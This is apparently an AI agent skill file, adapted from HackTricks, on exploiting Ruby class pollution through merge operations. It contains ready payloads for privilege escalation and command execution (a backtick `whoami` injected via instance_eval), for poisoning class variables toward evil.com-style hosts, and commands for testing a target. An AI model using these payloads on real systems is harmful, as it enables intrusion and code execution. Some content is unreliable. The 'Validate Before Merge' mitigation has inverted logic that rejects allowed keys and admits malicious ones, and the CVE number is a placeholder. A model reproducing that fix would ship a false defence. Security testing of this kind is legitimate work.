Hacktricks-skills ruby-class-pollution

Ruby class pollution vulnerability analysis and exploitation. Use this skill whenever the user needs to understand, identify, or test Ruby class pollution vulnerabilities in applications. This includes merge-on-attributes attacks, privilege escalation through method injection, RCE via instance_eval, and class variable poisoning. Trigger when users mention Ruby deserialization, class pollution, deep_merge vulnerabilities, Hashie, ActiveSupport, or need to test Ruby applications for object mutation attacks.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/deserialization/ruby-class-pollution/SKILL.MD
source content

Ruby Class Pollution Analysis

A skill for analyzing and exploiting Ruby class pollution vulnerabilities in applications.

What is Ruby Class Pollution?

Ruby class pollution is a vulnerability where attacker-controlled data can modify object attributes, methods, or class variables through merge operations. This can lead to:

  • Privilege Escalation: Overriding methods like
    to_s
    to bypass authorization
  • Remote Code Execution: Injecting code through
    instance_eval
    or similar methods
  • Class Variable Poisoning: Modifying class-level variables affecting all instances

When to Use This Skill

Use this skill when:

  • Analyzing Ruby applications for deserialization vulnerabilities
  • Testing merge operations (deep_merge, recursive_merge) in Ruby code
  • Investigating Hashie, ActiveSupport, or similar library vulnerabilities
  • Needing to craft payloads for class pollution attacks
  • Understanding object mutation attack vectors in Ruby

Vulnerability Patterns

Pattern 1: Merge on Attributes

Vulnerable Code Pattern:

def merge_with(additional)
  additional.each do |key, value|
    instance_variable_set("@#{key}", value)
    singleton_class.attr_accessor key
  end
end

Why it's vulnerable:

  • Allows setting any attribute including method names
  • Can override existing methods with attributes
  • Singleton class modification affects only the instance

Exploitation:

# Privilege escalation via to_s override
{"to_s": "Admin"}

# RCE via instance_eval
{"protected_methods": ["puts `whoami`"]}

Pattern 2: Hashie deep_merge

Vulnerable Code Pattern:

def merge_with(other_object)
  deep_merge!(other_object)
end

Why it's vulnerable:

  • Hashie allows merging attributes ending with
    _
    ,
    !
    , or
    ?
  • The
    _
    attribute is particularly exploitable
  • Can bypass authorization checks using
    _.to_s

Exploitation:

# Bypass authorization via _ attribute
{"_": "Admin"}

Pattern 3: Class Variable Poisoning

Vulnerable Code Pattern:

def recursive_merge(original, additional, current_obj = original)
  additional.each do |key, value|
    if value.is_a?(Hash)
      if current_obj.respond_to?(key)
        next_obj = current_obj.public_send(key)
        recursive_merge(original, value, next_obj)
      end
    end
  end
end

Why it's vulnerable:

  • Can traverse to class methods like
    class
    ,
    superclass
    ,
    subclasses
  • Allows modification of class variables (
    @@variable
    )
  • Affects all instances of the class

Exploitation:

# Poison parent class variable
{"class": {"superclass": {"url": "http://malicious.com"}}}

# Poison sibling class (brute force required)
{"class": {"superclass": {"superclass": {"subclasses": {"sample": {"signing_key": "injected"}}}}}}

Testing Methodology

Step 1: Identify Merge Operations

Look for these patterns in the codebase:

  • deep_merge
    ,
    merge!
    ,
    recursive_merge
  • instance_variable_set
    with dynamic keys
  • attr_accessor
    with dynamic method names
  • Hashie::Mash with
    deep_merge!
  • ActiveSupport::DeepMerge

Step 2: Map Object Structure

Understand the class hierarchy:

# Check class structure
puts Person.ancestors
puts Person.instance_methods
puts Person.protected_methods
puts Person.private_methods

Step 3: Identify Gadget Methods

Find methods that use object attributes unsafely:

  • Authorization methods checking
    to_s
    ,
    to_str
    ,
    to_sym
  • Methods using
    instance_eval
    ,
    eval
    ,
    class_eval
  • Methods accessing class variables
  • HTTP request methods using instance variables

Step 4: Craft Payloads

Use the payload generator script:

python scripts/generate_payloads.py --type privilege-escalation --method to_s --value Admin
python scripts/generate_payloads.py --type rce --method protected_methods --value "puts `id`"
python scripts/generate_payloads.py --type class-poison --path "class.superclass.url" --value "http://evil.com"

Step 5: Test and Verify

Run the test script against the target:

python scripts/test_vulnerability.py --target http://localhost:4567/merge --payload payload.json

Real-World Cases

ActiveSupport deep_merge

Vulnerable when combined with:

def merge_with(other_object)
  merged_hash = to_h.deep_merge(other_object)
  merged_hash.each do |key, value|
    self.class.attr_accessor key
    instance_variable_set("@#{key}", value)
  end
end

Hashie deep_merge (CVE-2025-XXXXX)

Affected versions: Hashie 5.0.0 Fixed in: Hashie 5.0.1

Issue:

deep_merge
mutated nested sub-hashes on the receiver instead of duplicating them, allowing persistent pollution across requests.

Mitigation Strategies

1. Whitelist Merge Keys

ALLOWED_KEYS = [:name, :age, :occupation].freeze

def merge_with(additional)
  additional.slice(*ALLOWED_KEYS).each do |key, value|
    instance_variable_set("@#{key}", value)
  end
end

2. Validate Before Merge

def merge_with(additional)
  additional.each do |key, value|
    raise "Invalid key: #{key}" if key.to_s.match?(/^[a-z_]+$/)
    instance_variable_set("@#{key}", value)
  end
end

3. Use Immutable Merging

def merge_with(additional)
  # Create new object instead of modifying
  new_attributes = self.attributes.merge(additional)
  self.class.new(**new_attributes)
end

4. Avoid Dynamic Method Access

# Instead of:
instance_eval(method.to_s)

# Use:
public_send(method) if respond_to?(method)

References

Quick Reference

Attack TypePayload PatternImpact
Privilege Escalation
{"to_s": "Admin"}
Bypass authorization
RCE
{"protected_methods": ["puts 
id
"]}
Code execution
Class Poison
{"class": {"superclass": {"var": "value"}}}
Affect all instances
Hashie Bypass
{"_": "Admin"}
Bypass via _ attribute